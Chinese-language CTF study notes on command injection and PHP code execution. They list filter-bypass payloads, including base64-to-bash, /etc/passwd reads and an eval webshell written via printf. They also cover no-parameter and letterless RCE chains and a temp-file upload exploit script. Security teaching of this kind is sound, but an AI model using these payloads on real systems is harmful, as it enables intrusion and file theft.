远程命令执行

命令执行漏洞

应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数可以被用户控制,就可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令

代码执行漏洞

应用程序中提供了一些可以将字符串作为代码执行的函数,比如PHP的eval函数,可以将函数中的参数当作PHP代码来执行,如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行

命令连接符

远程命令执行可以用到的命令连接符windows和linux系统各有4个,其中3个是共有的,各有一个是特有的:

windows| || && &

linux: | || && ;

各连接符含义如下:

|

管道操作符

可以把前一个命令的标准输出传输到后一个命令的标准输出

比如 a | b 表示命令a的输出作为命令b的输入

但在远程命令执行中,不管a的执行结果是否正确,b都可以执行,不会有命令a的输出作为命令b的输入一说

||

逻辑或

注意该命令有短路的情况

比如a||b,如果命令a执行成功,则命令b不会被执行;只有命令a执行失败的情况下,才会执行命令b

&&

逻辑与

注意该命令有短路的情况

比如 a && b,如果命令a执行失败,则命令b不会被执行;只有命令a执行成功的情况下,才会执行命令b

&

windows特有

允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行

比如 a & b,不管a是否执行成功,b命令都会执行

linux系统特有

允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行

比如 a ; b,不管a是否执行成功,b命令都会执行

重定向输出符号> >>
将原本输出到命令窗口的内容,转存到文件中,如jstack 12912 >d:/s.txt 打印线程到指定文件

cmd > 重定向输出并覆盖源文件。

例如

1
echo hello >c:\1.txt  // 1.txt的文件内容先被清空,然后写入hello。

cmd >>重定向输出追加到文件末尾

例如:

1
echo hello >>c:\1.txt  // 在1.txt文件末尾加上hello

命令执行

刚接触的大部分漏洞都是由于对一些危险函数没有进行过滤

就传递给系统shell,引发命令注入攻击

shell能够接受命令输入的命令,并对命令进行处理

危险函数

PHP

1
2
3
4
5
6
7
exec           				 <?phpecho exec('whoami');?>     				       — 执行一个外部程序
passthru <?phppassthru("whoami");?> — 执行外部程序并且显示原始输出
popen <?php$file = popen("whoami","r");pclose($file);?> — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
proc_open <?php$command="whoami"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?> proc_open — 执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。
shell_exec <?phpecho shell_exec('whoami');?> — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
system <?phpsystem('whoami');?> — 执行外部程序,并且显示输出

system

执行 command 参数所指定的命令, 并且输出执行结果。

1
system ( string $command , int &$return_var = ? ) : string

command:要执行的命令。

return_var:如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

exec

执行 command 参数所指定的命令。

1
exec ( string $command , array &$output = ? , int &$return_var = ? ) : string

command:要执行的命令。

output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。

return_var:如果同时提供 outputreturn_var 参数, 命令执行后的返回状态会被写入到此变量。

passthru

执行 command 参数所指定的命令并且显示原始输出。

1
passthru ( string $command , int &$return_var = ? ) : void

command:要执行的命令。

return_var:如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

shell_exec

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

1
shell_exec ( string $cmd ) : string

cmd:要执行的命令

popen

打开一个指向进程的管道,该进程由给定的comman命令执行而产生。

1
2
command:命令
mode:模式

这里看一下不同模式打开文件的列表

模式 描述
r 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。
rb 以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。这是默认模式。一般用于非文本文件如图片等。
r+ 打开一个文件用于读写。文件指针将会放在文件的开头。
rb+ 以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。一般用于非文本文件如图片等。
w 打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
wb 以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。
w+ 打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
wb+ 以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。
a 打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。
ab 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。
a+ 打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。
ab+ 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。

popen函数返回的结果是一个object,后面经常要加上.read()

read函数:

read()方法从一个打开的文件中读取一个字符串。需要重点注意的是,Python字符串可以是二进制数据,而不仅仅是文字

fileobject.read([count])(还没遇到过先记下来)

在这里。被传递的参数是要从一打开文件中读取的字节计数。该方法从文件的开头开始读入,如果没有传入count,他会尝试尽可能多的读取更多的内容,很可能直到文件的末尾

例子:
这里我们用到以上创建的 foo.txt 文件。

1
2
3
4
5
6
7
8
#!/usr/bin/python
#-*- coding: UTF-8 -*-
#打开一个文件
fo = open("foo.txt", "r+")
str = fo.read(10)
print ("读取的字符串是 : ", str)
#关闭打开的文件
fo.close()

读取的字符串是 : www.runoob

image-20221102152549115

proc_open

执行一个命令,并且打开用来输入/输出的文件指针。

1
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
``cmd:要执行的命令`

`descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。`

`pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。`

`cwd:要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null 表示使用默认值(当前 PHP 进程的工作目录)。`

`env:要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。`

`other_options:你还可以指定一些附加选项。 目前支持的选项包括:`

`suppress_errors (仅用于 Windows 平台): 设置为 true 表示抑制本函数产生的错误。`

bypass_shell (仅用于 Windows 平台): 设置为 true 表示绕过 cmd.exe shell。
```


反引号

PHP 支持一个执行运算符:反引号`。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地标准输出)。效果和 shell_exec() 相同。

Python

system

1
system(command)

在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。

popen

1
popen(cmd, mode='r', buffering=-1)

打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode 是 ‘r’ (默认)还是 ‘w’ 决定该对象可以读取还是写入。

subprocess.call/subprocess.run(没见过)

1
2
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
运行由 args 所描述的命令。 等待命令完成,然后返回 returncode属性。

spawn

创建新进程以执行命令

Linux下的常用符号

特殊符号

符号 说明
A;B 不论A是否正确都执行B
A&B A,B同时执行
A&&B A执行成功B才会执行
A|B A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令
A||B A执行失败后才会执行B命令
() 群指令组,用括号将一串连续指令括起来,执行的效果等同于多个独立的命令单独执行的效果。
(()) 用于算数运算’,与 let 指令相似
{} 拼接字符用法,{xx,yy,zz…}{aa,bb,cc…}得到xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc…
[] 在流程控制中扮演判断式的作用;在正则表达式中担任类似 “范围” 或 “集合” 的角色。
[[]] 这组符号与先前的[] 符号,基本上作用相同,但她允许在其中直接使用`

通配符

字符 解释
* 匹配任意长度
匹配单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] [^list]
{str1,str2,…} 匹配 srt1 或者 srt2 ,,,,也可以是集合
IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
CR 由 < enter > 产生
! 执行 history 中的命令,

常用绕过

命令分隔与执行多条命令

Linux

1
2
3
4
5
6
7
8
%0a 表示\r
%0d 表示\n
;
&
|
$(shell_command)
`shell_command`
{shell_command,}

windows

1
2
3
4
%0a
&
|
%1a - //一个神奇的角色,作为.bat文件中的命令分隔符

空格绕过

使用<或者<>

1
2
cat<>flag 这个没成功
cat<flag

使用IFS

1
2
3
cat$IFS$9/flag
cat${IFS}/flag
cat$IFS/flag

URL编码

1
%09

花括号拓展

{0S_COMMAND,argument}

1
{cat,/etc/passwd}

变量控制

新知识

1
2
X=$'cat\x20/flag'&&$X
X=$'cat\x09/flag'&&$X

绕过escapeshellcmd

用前面刚学的%1a,可以绕过过滤

1
id=../ %1a whoami

宽字节注入

php5.2.5及之前可以通过输入多字节来绕过

1
escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

1
echo 繺;id

使id注入

黑名单绕过

PHP表示字符串的方法

1
2
3
4
echo "jinmu";
echo (string)"jinmu";
echo (string)jinmu;
echo (jinmu);

结果

image-20221102155555282

拼接

1
2
3
a=c;b=at;c=flag;$a$b $c
(sy.(st).em)(whoami)

编码

1
2
3
4
5
6
7
echo "Y2F0IGZsYWc="|base64 -d   表示: cat flag
echo "Y2F0IGZsYWc="|base64 -d|bash
(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号 双引号

1
2
c""at fl''ag
c'a't f'l'ag

反斜线(还能转义)

1
c\at fl\ag

通配符

1
2
3
4
5
/?in/?s => /bin/ls
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg

变量拼接利用 .

1

chr构造

利用已有文件截取相应字符

定义其他参数

如只对参数c进行检查过滤,可以构造a参数进行绕过

1
?c=eval($_GET[a]);&a=cat ./flag

$@

1
2
c$@at fl$@ag
echo i$@d

利用已经存在的资源

1
2
3
4
5
6
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH| cut -c 1
/
echo $PATH| cut -c 1-4
/usr

字符数组

1
2
# 相当于执行(system)(ls /tmp)
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'

无参数rce

大致是

利用超全局变量进行bypass,进行RCE

最后进行任意文件读取

print_r(scandir('.'));查看当前目录下的所有文件名

localeconv()返回一半包含本地数字及国币格式信息的数数组

current()返回数组中的当前元素(单元),默认取第一个值,pos是其别名

each()返回数组小红当前的键/值对并将数组指针向前移动一步

end()将数组的内部指针指向最后一个单元

next()将数组中的内部指针向前移动一位

prev()将数组中的内部指针倒回一位

rand()随机

array_reverse()以相反的元素顺序返回数组

打印出当前目录下的文件

1
print_r(scandir(current(localeconv)));

打印倒数第二个内容

1
show_source(next(array_reverse(scandir(getcwd()))));

getallheaders()------在apache环境下

获取http头的所有头部信息(headers),然后我们可以用var_dump把他打印出来,

image-20221124125230508

最好是在BP中看image-20221124125340320

那么如果我们自己添加一个xiaobai: phpinfo();

image-20221124125553583

发现被打印出来,那么我们利用eval

end()–取出最后一位

image-20221124125813955

如果我们把var_dump为eval

不知道为什么在这个题目的环境下,直接end(getallheaders());不行要eval(end(getallheaders()));

换成本地,本地是不是不行。。。

反正是拿到shell了

get_defined_vars()

按照文章的说法它并不是获取的headers,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE

但是我在本地image-20221124132208098

所有环境变量都出来了。

1
?code=eval(end(get_defined_vars()));&aa=phpinfo(); 

它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:img

img

img

总结一下,这种方法和第一种方法几乎是一样的,就多了一步,就是利用current()函数将二维数组转换为一维数组,如果大家还是不了解current()函数的用法,可以接着往下看文章,会具体介绍的哦

这里还有一个专门针对$_FILES下手的方法,可以参考这篇文章:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

环境不对劲告辞

session_id()

这种方法简单来说就是把恶意代码写到COOKIEPHPSESSID中,然后利用session_id()这个函数去读取它,返回一个字符串,然后我们就可以用eval去直接执行了,这里有一点要注意的就是session_id()要开启session才能用,所以说要先session_start(),这里我们先试着把PHPSESSID的值取出来:但这里要注意的是,PHPSESSIID中只能有A-Z a-z 0-9-,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2binimg

对恶意代码进行16进制选这个就行image-20221124134158282

4.php函数直接读取文件

上面我们一直在想办法在进行rce,但有的情况下确实无法进行rce时,我们就要想办法直接利用php函数完成对目录以及文件的操作, 接下来我们就来介绍这些函数:

1.localeconv

官方解释:localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

img

这个函数其实之前我一直搞不懂它是干什么的,为什么在这里有用,但实践出真知,我们在测试代码中将localeconv()的返回结果输出出来,这里很神奇的事就发生了,它返回的是一个二维数组,而它的第一位居然是一个点.,那按照我们上面讲的,是可以利用current()函数将这个点取出来的,但这个点有什么用呢?点代表的是当前目录!那就很好理解了,我们可以利用这个点完成遍历目录的操作!相当于就是linux中的ls,具体请看下图:

img

img

img

2.scandir

这个函数很好理解,就是列出目录中的文件和目录

img

3.current(pos)

这里首先声明,pos()函数是current()函数的别名,他们俩是完全一样的哈

这个函数我们前面已经用的很多了,它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值,如果要移动可以用下列方法进行移动:

img

4.chdir()

这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir('..')

img

5.array_reverse()

将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

6.highlight_file()

打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

例题解析——–GXYCTF 2019禁止套娃

这道题首先是一个git源码泄露,我们先用GitHack把源码跑下来,内容如下:

[复制代码](javascript:void(0);)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

[复制代码](javascript:void(0);)

可以看出它是一个有过滤的无参rce,由于它过滤掉了et,导致我们前两种的方法都用不了,而且它也过滤了hex bin,第三种方法也不能像我们上面讲的一样先16进制编码了,而且我抓包以后都看不到PHPSESSID的参数,估计第三种方法也用不了,但有了前面的铺垫,用第四种方法就可以很简单的解决了,首先遍历当前目录:

img

可以看到flag.php是倒数第二个,那我们就把它反转一下,然后再用一个next()就是flag.php这个文件了

img

胜利就在眼前,直接highlight_file读取这个文件就拿到flag了:

img

思路总结

1
2
3
4
scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

无字母数字RCE

1
2
3
4
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);


assert($_POST[_]);
1
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

过滤字母,但是没有过滤数字的情况下,可以使用base64命令:

1
/???/????64 ????.???    ==>   /bin/base64 flag.php

利用上传临时文件
利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即???/???,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?

在ascii码表中观察发现

在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/???[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件

exp:

1
2
3
4
5
6
7
8
9
10
import requests
while True:
url = "http://**********/?c=. /???/????????[@-[]"

r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
flag = r.text.split('ctfshow')
if len(flag) >1:
print(r.text)
break

常见的读取文件方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

常用读取目录方式

1
2
3
4
5
6
7
8
9
10
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
var_export(scandir('/'));
var_dump(scandir('/'));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

就到这了,看的这篇文章

https://blog.csdn.net/weixin_44576725/article/details/121950120?spm=1001.2014.3001.5506